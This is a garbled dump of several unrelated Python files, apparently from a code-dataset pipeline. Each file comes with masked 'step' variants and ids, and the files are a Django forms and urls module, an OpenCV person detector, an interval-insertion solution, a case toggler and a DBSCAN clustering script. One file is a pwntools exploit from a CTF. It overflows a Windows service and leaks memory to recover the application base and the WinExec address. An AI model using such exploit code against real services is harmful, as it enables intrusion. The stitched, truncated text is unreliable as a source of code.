self.fields['blog_pics'].widget.attrs['placeholder'] = \"Upload Pics\"\n self.fields['blog_publish'].label = \"Publish\"\n\n\n\nclass TblBlogCommentsForm(forms.ModelForm):\n class Meta():\n model = TblBlogComments\n fields = '__all__'\n\nclass TblLearnDataForm(forms.ModelForm):\n class Meta():\n model = TblLearnData\n fields = ['learn_data','learn_data_keyword','learn_data_description','learn_data_publish','learn_data_datetime','learn_data_added_by','learn_topics','learn_data_like','learn_data_icon']\n\n def __init__(self, *args, **kwargs):\n super(TblLearnDataForm, self).__init__(*args, **kwargs)\n self.fields['learn_data_datetime'].widget = forms.HiddenInput()\n self.fields['learn_data_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget = forms.HiddenInput()\n self.fields['learn_data_like'].widget = forms.HiddenInput()\n self.fields['learn_data_icon'].widget = forms.HiddenInput()\n self.fields['learn_data'].widget.attrs['placeholder'] = \"Title/Topics\"\n self.fields['learn_data_description'].widget.attrs['placeholder'] = \"Brief Description\"\n self.fields['learn_data_keyword'].widget.attrs['placeholder'] = \"Keyword For Search\"\n self.fields['learn_data_publish'].label = \"Publish\"\n\nclass TblLearnDataCommentsForm(forms.ModelForm):\n class Meta():\n model = TblLearnDataComments\n fields = '__all__'\n\nclass TblBlogGvpForm(forms.ModelForm):\n class Meta():\n model = TblBlogGvp\n fields = '__all__'\nclass TblLearnDataGvpForm(forms.ModelForm):\n class Meta():\n model = TblLearnDataGvp\n fields = '__all__'\nclass TblHomeForm(forms.ModelForm):\n class Meta():\n model = TblHome\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super(TblHomeForm, self).__init__(*args, **kwargs)\n self.fields['home_datetime'].widget = forms.HiddenInput()\n self.fields['home_added_by'].widget = forms.HiddenInput()\n self.fields['home_pics'].widget.attrs['placeholder'] = \"Upload Image\"\n self.fields['home_content'].widget.attrs['placeholder'] = \"Content\"\n self.fields['home_content_description'].widget.attrs['placeholder'] = \"Description\"\n self.fields['home_publish'].label = \"Publish\"\n\n\nclass TblAboutForm(forms.ModelForm):\n class Meta():\n model = TblAbout\n fields = '__all__'\n def __init__(self, *args, **kwargs):\n super(TblAboutForm, self).__init__(*args, **kwargs)\n self.fields['about_datetime'].widget = forms.HiddenInput()\n self.fields['about_added_by'].widget = forms.HiddenInput()\n self.fields['about_pics'].widget.attrs['placeholder'] = \"Upload Image\"\n self.fields['about_content'].widget.attrs['placeholder'] = \"Content\"\n self.fields['about_content_description'].widget.attrs['placeholder'] = \"Description\"\n self.fields['about_publish'].label = \"Publish\"\n\nclass TblLearnTopicsForm(forms.ModelForm):\n class Meta():\n model = TblLearnTopics\n fields = '__all__'\n def __init__(self, *args, **kwargs):\n super(TblLearnTopicsForm, self).__init__(*args, **kwargs)\n self.fields['learn_topics_datetime'].widget = forms.HiddenInput()\n # self.fields['learn_topics_added_by'].widget = forms.HiddenInput()\n self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'\n self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['learn_topics'].widget.attrs['placeholder'] = \"Topics\"\n self.fields['learn_topics_description'].widget.attrs['placeholder'] = \"Description\"\n self.fields['learn_topics_publish'].label = \"Publish\"\n\n\n\n def clean_learn_topics_added_by(self):\n if not self.cleaned_data['learn_topics_added_by']:\n return User()\n return self.cleaned_data['learn_topics_added_by']\n\nclass TblSnippetTopicsForm(forms.ModelForm):\n class Meta():\n model = TblSnippetTopics\n fields = '__all__'\n def __init__(self, *args, **kwargs):\n super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)\n self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()\n self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()\n self.fields['snippet_topics_icon'].widget = forms.HiddenInput()\n self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput()\n self.fields['snippet_topics_expire'].widget = forms.HiddenInput()\n self.fields['snippet_topics'].widget.attrs['placeholder'] = \"Topics\"\n self.fields['snippet_topics_description'].widget.attrs['placeholder'] = \"Description\"\n self.fields['snippet_topics_publish'].label = \"Publish\"\n\n def clean_snippet_topics_added_by(self):\n if not self.cleaned_data['snippet_topics_added_by']:\n return User()\n return self.cleaned_data['snippet_topics_added_by']\n\nclass TblQueriesForm(forms.ModelForm):\n class Meta():\n model = TblQueries\n fields = '__all__'\n def __init__(self, *args, **kwargs):\n super(TblQueriesForm, self).__init__(*args, **kwargs)\n self.fields['datetime'].widget = forms.HiddenInput()\n self.fields['name'].widget.attrs['placeholder'] = \"Name\"\n self.fields['email'].widget.attrs['placeholder'] = \"Email\"\n self.fields['subject'].widget.attrs['placeholder'] = \"Subject\"\n self.fields['message'].widget.attrs['placeholder'] = \"Message\"\n",
"step-ids": [
19,
20,
22,
26,
32
]
}
|
[
19,
20,
22,
26,
32
] |
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
Aplicação H2HC criado para CTF
Exploit criado por M4v3r1ck (helvio_junior[at]hotmail[dot]com)
'''
from pwn import *
import os
context(arch='amd64', os='windows', log_level='debug')
host= "192.168.255.201"
port = 54345
# Estágio 1
log.info("Enviando estágio 1")
payload1 = "H2HC" #cookie
payload1 += "\xff\x00\x00\x00" #size to trigger the vul
payload1 += "\x41" * 0xff
payload1 += "\n"
p = remote(host, port)
p.send(payload1)
p.recv(4096)
p.close()
# Estágio 2
log.info("Enviando estágio 2")
payload2 = "H2HC"
payload2 += "\xff\x00\x00\x00"
payload2 += "A" * 0x100
payload2 += "\x04\x09\x00\x00"
p1 = remote(host, port)
p1.send(payload2)
p1.recvuntil("H2HC19 message:")
#Leak de um endereço no próprio fluxo de execução da aplicação (Sessão .text)
p1.recv(0x10d)
ld1 = p1.recv(8)
leak_local_addr = u64(ld1.ljust(8, "\x00"))
base_addr = leak_local_addr & 0xffffffffffff0000
log.info("Local leak : %s" % hex(leak_local_addr))
log.info("App Base Addr : %s" % hex(base_addr))
# Leak do endereço da função WinExec
p1.recv(0x7f0) #offset entre a posição zero até o 90 f0 7e 0a fa 7f
lead_data = p1.recv(8)
p1.recv(4096)
leak = u64(lead_data.ljust(8, "\x00"))
log.info("WinExec addr leak : %s" % hex(leak))
|
normal
|
{
"blob_id": "4fff64a62776a9d1b06cc11d5e55fc00f6787338",
"index": 8128,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ncontext(arch='amd64', os='windows', log_level='debug')\n<mask token>\nlog.info('Enviando estágio 1')\n<mask token>\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\n<mask token>\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\n<mask token>\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\n<mask token>\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\n<mask token>\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\n<mask token>\np1.recv(4096)\n<mask token>\nlog.info('WinExec addr leak : %s' % hex(leak))\n",
"step-3": "<mask token>\ncontext(arch='amd64', os='windows', log_level='debug')\nhost = '192.168.255.201'\nport = 54345\nlog.info('Enviando estágio 1')\npayload1 = 'H2HC'\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\npayload2 = 'H2HC'\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\np1 = remote(host, port)\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, '\\x00'))\nbase_addr = leak_local_addr & 18446744073709486080\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\nlead_data = p1.recv(8)\np1.recv(4096)\nleak = u64(lead_data.ljust(8, '\\x00'))\nlog.info('WinExec addr leak : %s' % hex(leak))\n",
"step-4": "<mask token>\nfrom pwn import *\nimport os\ncontext(arch='amd64', os='windows', log_level='debug')\nhost = '192.168.255.201'\nport = 54345\nlog.info('Enviando estágio 1')\npayload1 = 'H2HC'\npayload1 += 'ÿ\\x00\\x00\\x00'\npayload1 += 'A' * 255\npayload1 += '\\n'\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\nlog.info('Enviando estágio 2')\npayload2 = 'H2HC'\npayload2 += 'ÿ\\x00\\x00\\x00'\npayload2 += 'A' * 256\npayload2 += '\\x04\\t\\x00\\x00'\np1 = remote(host, port)\np1.send(payload2)\np1.recvuntil('H2HC19 message:')\np1.recv(269)\nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, '\\x00'))\nbase_addr = leak_local_addr & 18446744073709486080\nlog.info('Local leak : %s' % hex(leak_local_addr))\nlog.info('App Base Addr : %s' % hex(base_addr))\np1.recv(2032)\nlead_data = p1.recv(8)\np1.recv(4096)\nleak = u64(lead_data.ljust(8, '\\x00'))\nlog.info('WinExec addr leak : %s' % hex(leak))\n",
"step-5": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n'''\nAplicação H2HC criado para CTF\nExploit criado por M4v3r1ck (helvio_junior[at]hotmail[dot]com)\n'''\n\nfrom pwn import *\nimport os\n \ncontext(arch='amd64', os='windows', log_level='debug')\n\nhost= \"192.168.255.201\"\nport = 54345\n\n# Estágio 1\nlog.info(\"Enviando estágio 1\")\npayload1 = \"H2HC\" #cookie \npayload1 += \"\\xff\\x00\\x00\\x00\" #size to trigger the vul\npayload1 += \"\\x41\" * 0xff\npayload1 += \"\\n\"\n\np = remote(host, port)\np.send(payload1)\np.recv(4096)\np.close()\n\n# Estágio 2\nlog.info(\"Enviando estágio 2\")\npayload2 = \"H2HC\" \npayload2 += \"\\xff\\x00\\x00\\x00\" \npayload2 += \"A\" * 0x100\npayload2 += \"\\x04\\x09\\x00\\x00\" \n\n\np1 = remote(host, port)\np1.send(payload2)\n\np1.recvuntil(\"H2HC19 message:\")\n\n\n#Leak de um endereço no próprio fluxo de execução da aplicação (Sessão .text)\np1.recv(0x10d) \nld1 = p1.recv(8)\nleak_local_addr = u64(ld1.ljust(8, \"\\x00\"))\n\nbase_addr = leak_local_addr & 0xffffffffffff0000\n\nlog.info(\"Local leak : %s\" % hex(leak_local_addr))\nlog.info(\"App Base Addr : %s\" % hex(base_addr))\n\n# Leak do endereço da função WinExec\np1.recv(0x7f0) #offset entre a posição zero até o 90 f0 7e 0a fa 7f \nlead_data = p1.recv(8)\np1.recv(4096)\n\nleak = u64(lead_data.ljust(8, \"\\x00\"))\n\nlog.info(\"WinExec addr leak : %s\" % hex(leak))\n\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
#from skimage import measure
#from svmutil import *
import cv2
import numpy as np
def inside(r, q):
rx, ry, rw, rh = r
qx, qy, qw, qh = q
return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh
def draw_detections(img, rects, thickness = 1):
for x, y, w, h in rects:
# the HOG detector returns slightly larger rectangles than the real objects.
# so we slightly shrink the rectangles to get a nicer output.
pad_w, pad_h = int(0.15*w), int(0.05*h)
cv2.rectangle(img, (x+pad_w, y+pad_h), (x+w-pad_w, y+h-pad_h), (0, 255, 0), thickness)
if __name__ == '__main__':
hog = cv2.HOGDescriptor()
hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())
hogParams = {'winStride': (8, 8), 'padding': (32, 32), 'scale': 1.05}
cap = cv2.VideoCapture(0)
while(True):
ret, frame = cap.read()
if not ret:
break
found, w = hog.detectMultiScale(frame, **hogParams)
found_filtered = []
for ri, r in enumerate(found):
for qi, q in enumerate(found):
if ri != qi and inside(r, q):
break
else:
found_filtered.append(r)
#draw_detections(frame, found)
draw_detections(frame, found_filtered, 3)
print('%d (%d) found' % (len(found_filtered), len(found)))
key = cv2.waitKey(10)
if key == 27:
cv2.destroyAllWindows()
break
cv2.imshow('img', frame)
# if cv2.waitKey(1) & 0xFF == ord('q'):
# break
cap.release()
cv2.destroyAllWindows()
|
normal
|
{
"blob_id": "f012f862ad064fc168bd5328b97c433164a3a36f",
"index": 3742,
"step-1": "<mask token>\n\n\ndef draw_detections(img, rects, thickness=1):\n for x, y, w, h in rects:\n pad_w, pad_h = int(0.15 * w), int(0.05 * h)\n cv2.rectangle(img, (x + pad_w, y + pad_h), (x + w - pad_w, y + h -\n pad_h), (0, 255, 0), thickness)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef inside(r, q):\n rx, ry, rw, rh = r\n qx, qy, qw, qh = q\n return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh\n\n\ndef draw_detections(img, rects, thickness=1):\n for x, y, w, h in rects:\n pad_w, pad_h = int(0.15 * w), int(0.05 * h)\n cv2.rectangle(img, (x + pad_w, y + pad_h), (x + w - pad_w, y + h -\n pad_h), (0, 255, 0), thickness)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef inside(r, q):\n rx, ry, rw, rh = r\n qx, qy, qw, qh = q\n return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh\n\n\ndef draw_detections(img, rects, thickness=1):\n for x, y, w, h in rects:\n pad_w, pad_h = int(0.15 * w), int(0.05 * h)\n cv2.rectangle(img, (x + pad_w, y + pad_h), (x + w - pad_w, y + h -\n pad_h), (0, 255, 0), thickness)\n\n\nif __name__ == '__main__':\n hog = cv2.HOGDescriptor()\n hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n hogParams = {'winStride': (8, 8), 'padding': (32, 32), 'scale': 1.05}\n cap = cv2.VideoCapture(0)\n while True:\n ret, frame = cap.read()\n if not ret:\n break\n found, w = hog.detectMultiScale(frame, **hogParams)\n found_filtered = []\n for ri, r in enumerate(found):\n for qi, q in enumerate(found):\n if ri != qi and inside(r, q):\n break\n else:\n found_filtered.append(r)\n draw_detections(frame, found_filtered, 3)\n print('%d (%d) found' % (len(found_filtered), len(found)))\n key = cv2.waitKey(10)\n if key == 27:\n cv2.destroyAllWindows()\n break\n cv2.imshow('img', frame)\n cap.release()\n cv2.destroyAllWindows()\n",
"step-4": "import cv2\nimport numpy as np\n\n\ndef inside(r, q):\n rx, ry, rw, rh = r\n qx, qy, qw, qh = q\n return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh\n\n\ndef draw_detections(img, rects, thickness=1):\n for x, y, w, h in rects:\n pad_w, pad_h = int(0.15 * w), int(0.05 * h)\n cv2.rectangle(img, (x + pad_w, y + pad_h), (x + w - pad_w, y + h -\n pad_h), (0, 255, 0), thickness)\n\n\nif __name__ == '__main__':\n hog = cv2.HOGDescriptor()\n hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n hogParams = {'winStride': (8, 8), 'padding': (32, 32), 'scale': 1.05}\n cap = cv2.VideoCapture(0)\n while True:\n ret, frame = cap.read()\n if not ret:\n break\n found, w = hog.detectMultiScale(frame, **hogParams)\n found_filtered = []\n for ri, r in enumerate(found):\n for qi, q in enumerate(found):\n if ri != qi and inside(r, q):\n break\n else:\n found_filtered.append(r)\n draw_detections(frame, found_filtered, 3)\n print('%d (%d) found' % (len(found_filtered), len(found)))\n key = cv2.waitKey(10)\n if key == 27:\n cv2.destroyAllWindows()\n break\n cv2.imshow('img', frame)\n cap.release()\n cv2.destroyAllWindows()\n",
"step-5": "#from skimage import measure\n#from svmutil import *\nimport cv2\nimport numpy as np \n\ndef inside(r, q):\n\trx, ry, rw, rh = r\n\tqx, qy, qw, qh = q\n\treturn rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh\n\ndef draw_detections(img, rects, thickness = 1):\n\tfor x, y, w, h in rects:\n # the HOG detector returns slightly larger rectangles than the real objects.\n # so we slightly shrink the rectangles to get a nicer output.\n\t\tpad_w, pad_h = int(0.15*w), int(0.05*h)\n\t\tcv2.rectangle(img, (x+pad_w, y+pad_h), (x+w-pad_w, y+h-pad_h), (0, 255, 0), thickness)\n\nif __name__ == '__main__': \n\thog = cv2.HOGDescriptor()\n\thog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\thogParams = {'winStride': (8, 8), 'padding': (32, 32), 'scale': 1.05}\n\n\tcap = cv2.VideoCapture(0)\n\n\twhile(True):\n\n\t\tret, frame = cap.read()\n\t\tif not ret:\n\t\t\tbreak\n\n\t\tfound, w = hog.detectMultiScale(frame, **hogParams)\n\t\tfound_filtered = []\n\t\tfor ri, r in enumerate(found):\n\t\t\tfor qi, q in enumerate(found):\n\t\t\t\tif ri != qi and inside(r, q):\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tfound_filtered.append(r)\n\n\t\t#draw_detections(frame, found)\n\t\tdraw_detections(frame, found_filtered, 3)\n\t\tprint('%d (%d) found' % (len(found_filtered), len(found)))\n\t\tkey = cv2.waitKey(10)\n\t\tif key == 27:\n\t\t\tcv2.destroyAllWindows()\n\t\t\tbreak\n\n\t\tcv2.imshow('img', frame)\n#\t\tif cv2.waitKey(1) & 0xFF == ord('q'):\n#\t\t\tbreak\n\t\n\tcap.release()\n\tcv2.destroyAllWindows()\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
# Definition for an interval.
# class Interval(object):
# def __init__(self, s=0, e=0):
# self.start = s
# self.end = e
class Solution(object):
def insert(self, intervals, newInterval):
"""
:type intervals: List[Interval]
:type newInterval: Interval
:rtype: List[Interval]
"""
if not intervals:
return [newInterval]
starts, ends = [], []
for intv in intervals:
starts.append(intv.start)
ends.append(intv.end)
left = self.search1(ends, newInterval.start)
right = self.search2(starts, newInterval.end)
print left, right
if left > len(intervals) - 1:
intervals.append(newInterval)
elif right < 0:
intervals.insert(0, newInterval)
else:
newInterval.start = min(newInterval.start, intervals[left].start)
newInterval.end = max(newInterval.end, intervals[right].end)
intervals = intervals[:left] + [newInterval] + intervals[right + 1:]
return intervals
def search1(self, nums, target):
left, right = 0, len(nums) - 1
while left + 1 < right:
mid = (left + right) / 2
if nums[mid] == target:
return mid
elif nums[mid] > target:
right = mid
else:
left = mid
if nums[right] < target:
return right + 1
elif nums[left] < target:
return right
else:
return left
def search2(self, nums, target):
left, right = 0, len(nums) - 1
while left + 1 < right:
mid = (left + right) / 2
if nums[mid] == target:
return mid
elif nums[mid] > target:
right = mid
else:
left = mid
if nums[left] > target:
return left - 1
elif nums[right] > target:
return left
else:
return right
|
normal
|
{
"blob_id": "7dd5ac1110f38c40f2fddf9d7175a5ac40303d73",
"index": 5796,
"step-1": "# Definition for an interval.\n# class Interval(object):\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n if not intervals:\n return [newInterval]\n \n starts, ends = [], []\n for intv in intervals:\n starts.append(intv.start)\n ends.append(intv.end)\n \n left = self.search1(ends, newInterval.start)\n right = self.search2(starts, newInterval.end)\n print left, right\n \n if left > len(intervals) - 1:\n intervals.append(newInterval)\n elif right < 0:\n intervals.insert(0, newInterval)\n else:\n newInterval.start = min(newInterval.start, intervals[left].start)\n newInterval.end = max(newInterval.end, intervals[right].end)\n intervals = intervals[:left] + [newInterval] + intervals[right + 1:]\n return intervals\n \n def search1(self, nums, target):\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = (left + right) / 2\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n right = mid\n else:\n left = mid\n \n if nums[right] < target:\n return right + 1\n elif nums[left] < target:\n return right\n else:\n return left\n \n def search2(self, nums, target):\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = (left + right) / 2\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n right = mid\n else:\n left = mid\n \n if nums[left] > target:\n return left - 1\n elif nums[right] > target:\n return left\n else:\n return right\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
def Return():
s = raw_input('Enter a s: ')
i = 0
s1 = ''
leng = len(s)
while i < leng:
if s[i] == s[i].lower():
s1 += s[i].upper()
else:
s1 += s[i].lower()
i += 1
return s1
if __name__ == '__main__':
print Return()
|
normal
|
{
"blob_id": "6dafb60b79a389499ae2a0f17f9618426faf45a9",
"index": 8880,
"step-1": "def Return():\n s = raw_input('Enter a s: ')\n i = 0\n s1 = ''\n leng = len(s)\n while i < leng:\n if s[i] == s[i].lower():\n s1 += s[i].upper()\n else:\n s1 += s[i].lower()\n i += 1\n \n return s1\n\nif __name__ == '__main__':\n \n print Return()\n\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
'''
Can you print numbers from 1 to 100 without using any loop.
'''
# Use Recursion
|
normal
|
{
"blob_id": "cc703690151acd17430b5a9715e71a694fdeca10",
"index": 2116,
"step-1": "<mask token>\n",
"step-2": "'''\nCan you print numbers from 1 to 100 without using any loop.\n'''\n\n# Use Recursion",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
from django.urls import path
from . import views
app_name = 'restuarant'
urlpatterns = [path('orderplaced/', views.orderplaced), path('restaurant/',
views.restuarent, name='restuarant'), path('login/restaurant/', views.
restLogin, name='rlogin'), path('register/restaurant/', views.
restRegister, name='rregister'), path('profile/restaurant/', views.
restaurantProfile, name='rprofile'), path('restaurant/create/', views.
createRestaurant, name='rcreate'), path('restaurant/update/<int:id>/',
views.updateRestaurant, name='rupdate'), path('restaurant/orderlist/',
views.orderlist, name='orderlist'), path('restaurant/menu/', views.
menuManipulation, name='mmenu'), path('logout/', views.Logout, name=
'logout'), path('restaurant/<int:pk>/', views.restuarantMenu, name=
'menu'), path('checkout/', views.checkout, name='checkout'), path(
'profile/change_password/', views.change_password, name='change_password')]
|
normal
|
{
"blob_id": "63830a3c09a2d0a267b030a336062d5e95b9a71a",
"index": 3308,
"step-1": "<mask token>\n",
"step-2": "<mask token>\napp_name = 'restuarant'\nurlpatterns = [path('orderplaced/', views.orderplaced), path('restaurant/',\n views.restuarent, name='restuarant'), path('login/restaurant/', views.\n restLogin, name='rlogin'), path('register/restaurant/', views.\n restRegister, name='rregister'), path('profile/restaurant/', views.\n restaurantProfile, name='rprofile'), path('restaurant/create/', views.\n createRestaurant, name='rcreate'), path('restaurant/update/<int:id>/',\n views.updateRestaurant, name='rupdate'), path('restaurant/orderlist/',\n views.orderlist, name='orderlist'), path('restaurant/menu/', views.\n menuManipulation, name='mmenu'), path('logout/', views.Logout, name=\n 'logout'), path('restaurant/<int:pk>/', views.restuarantMenu, name=\n 'menu'), path('checkout/', views.checkout, name='checkout'), path(\n 'profile/change_password/', views.change_password, name='change_password')]\n",
"step-3": "from django.urls import path\nfrom . import views\napp_name = 'restuarant'\nurlpatterns = [path('orderplaced/', views.orderplaced), path('restaurant/',\n views.restuarent, name='restuarant'), path('login/restaurant/', views.\n restLogin, name='rlogin'), path('register/restaurant/', views.\n restRegister, name='rregister'), path('profile/restaurant/', views.\n restaurantProfile, name='rprofile'), path('restaurant/create/', views.\n createRestaurant, name='rcreate'), path('restaurant/update/<int:id>/',\n views.updateRestaurant, name='rupdate'), path('restaurant/orderlist/',\n views.orderlist, name='orderlist'), path('restaurant/menu/', views.\n menuManipulation, name='mmenu'), path('logout/', views.Logout, name=\n 'logout'), path('restaurant/<int:pk>/', views.restuarantMenu, name=\n 'menu'), path('checkout/', views.checkout, name='checkout'), path(\n 'profile/change_password/', views.change_password, name='change_password')]\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
import numpy as np
import sklearn.cluster as sc
import sklearn.metrics as sm
import matplotlib.pyplot as mp
x = np.loadtxt('C:\\Users\\Administrator\\Desktop\\sucai\\ml_data\\perf.txt', delimiter=',')
# 准备训练模型相关数据
epsilons, scores, models = np.linspace(0.3, 1.2, 10), [], []
# 遍历所有的半径，训练模型，查看得分
for epsilon in epsilons:
model = sc.DBSCAN(eps=epsilon, min_samples=5)
model.fit(x)
score = sm.silhouette_score(x, model.labels_, sample_size=len(x), metric='euclidean')
scores.append(score)
models.append(model)
# 转成ndarray数组
scores = np.array(scores)
best_i = scores.argmax() # 最优分数
best_eps = epsilons[best_i]
best_sco = scores[best_i]
# 获取最优模型
best_model = models[best_i]
# 对输入x进行预测得到预测类别
pred_y = best_model.fit_predict(x)
# 获取孤立样本，外周样本，核心样本
core_mask = np.zeros(len(x), dtype=bool)
# 获取核心样本的索引，把对应位置的元素改为True
core_mask[best_model.core_sample_indices_] = True
# 孤立样本的类别标签为-1
offset_mask = best_model.labels_ == -1
# 外周样本掩码(不是核心也不是孤立样本)
p_mask = ~(core_mask | offset_mask)
# 绘制这些样本数据
mp.figure('DBSCAN cluster', facecolor='lightgray')
mp.title('DBSCAN cluster', fontsize=16)
mp.xlabel('x', fontsize=14)
mp.ylabel('y', fontsize=14)
mp.tick_params(labelsize=10)
# 绘制核心样本
mp.scatter(x[core_mask][:, 0], x[core_mask][:, 1], s=60, cmap='brg', c=pred_y[core_mask])
# 绘制外周样本
mp.scatter(x[p_mask][:, 0], x[p_mask][:, 1], s=60, cmap='brg', c=pred_y[p_mask], alpha=0.5)
# 绘制孤立样本
mp.scatter(x[offset_mask][:, 0], x[offset_mask][:, 1], s=60, c='gray')
mp.show()
|
normal
|
{
"blob_id": "01128ebd156b24791548c50c92d2fc1969c42e70",
"index": 9756,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor epsilon in epsilons:\n model = sc.DBSCAN(eps=epsilon, min_samples=5)\n model.fit(x)\n score = sm.silhouette_score(x, model.labels_, sample_size=len(x),\n metric='euclidean')\n scores.append(score)\n models.append(model)\n<mask token>\nmp.figure('DBSCAN cluster', facecolor='lightgray')\nmp.title('DBSCAN cluster', fontsize=16)\nmp.xlabel('x', fontsize=14)\nmp.ylabel('y', fontsize=14)\nmp.tick_params(labelsize=10)\nmp.scatter(x[core_mask][:, 0], x[core_mask][:, 1], s=60, cmap='brg', c=\n pred_y[core_mask])\nmp.scatter(x[p_mask][:, 0], x[p_mask][:, 1], s=60, cmap='brg', c=pred_y[\n p_mask], alpha=0.5)\nmp.scatter(x[offset_mask][:, 0], x[offset_mask][:, 1], s=60, c='gray')\nmp.show()\n",
"step-3": "<mask token>\nx = np.loadtxt('C:\\\\Users\\\\Administrator\\\\Desktop\\\\sucai\\\\ml_data\\\\perf.txt',\n delimiter=',')\nepsilons, scores, models = np.linspace(0.3, 1.2, 10), [], []\nfor epsilon in epsilons:\n model = sc.DBSCAN(eps=epsilon, min_samples=5)\n model.fit(x)\n score = sm.silhouette_score(x, model.labels_, sample_size=len(x),\n metric='euclidean')\n scores.append(score)\n models.append(model)\nscores = np.array(scores)\nbest_i = scores.argmax()\nbest_eps = epsilons[best_i]\nbest_sco = scores[best_i]\nbest_model = models[best_i]\npred_y = best_model.fit_predict(x)\ncore_mask = np.zeros(len(x), dtype=bool)\ncore_mask[best_model.core_sample_indices_] = True\noffset_mask = best_model.labels_ == -1\np_mask = ~(core_mask | offset_mask)\nmp.figure('DBSCAN cluster', facecolor='lightgray')\nmp.title('DBSCAN cluster', fontsize=16)\nmp.xlabel('x', fontsize=14)\nmp.ylabel('y', fontsize=14)\nmp.tick_params(labelsize=10)\nmp.scatter(x[core_mask][:, 0], x[core_mask][:, 1], s=60, cmap='brg', c=\n pred_y[core_mask])\nmp.scatter(x[p_mask][:, 0], x[p_mask][:, 1], s=60, cmap='brg', c=pred_y[\n p_mask], alpha=0.5)\nmp.scatter(x[offset_mask][:, 0], x[offset_mask][:, 1], s=60, c='gray')\nmp.show()\n",
"step-4": "import numpy as np\nimport sklearn.cluster as sc\nimport sklearn.metrics as sm\nimport matplotlib.pyplot as mp\nx = np.loadtxt('C:\\\\Users\\\\Administrator\\\\Desktop\\\\sucai\\\\ml_data\\\\perf.txt',\n delimiter=',')\nepsilons, scores, models = np.linspace(0.3, 1.2, 10), [], []\nfor epsilon in epsilons:\n model = sc.DBSCAN(eps=epsilon, min_samples=5)\n model.fit(x)\n score = sm.silhouette_score(x, model.labels_, sample_size=len(x),\n metric='euclidean')\n scores.append(score)\n models.append(model)\nscores = np.array(scores)\nbest_i = scores.argmax()\nbest_eps = epsilons[best_i]\nbest_sco = scores[best_i]\nbest_model = models[best_i]\npred_y = best_model.fit_predict(x)\ncore_mask = np.zeros(len(x), dtype=bool)\ncore_mask[best_model.core_sample_indices_] = True\noffset_mask = best_model.labels_ == -1\np_mask = ~(core_mask | offset_mask)\nmp.figure('DBSCAN cluster', facecolor='lightgray')\nmp.title('DBSCAN cluster', fontsize=16)\nmp.xlabel('x', fontsize=14)\nmp.ylabel('y', fontsize=14)\nmp.tick_params(labelsize=10)\nmp.scatter(x[core_mask][:, 0], x[core_mask][:, 1], s=60, cmap='brg', c=\n pred_y[core_mask])\nmp.scatter(x[p_mask][:, 0], x[p_mask][:, 1], s=60, cmap='brg', c=pred_y[\n p_mask], alpha=0.5)\nmp.scatter(x[offset_mask][:, 0], x[offset_mask][:, 1], s=60, c='gray')\nmp.show()\n",
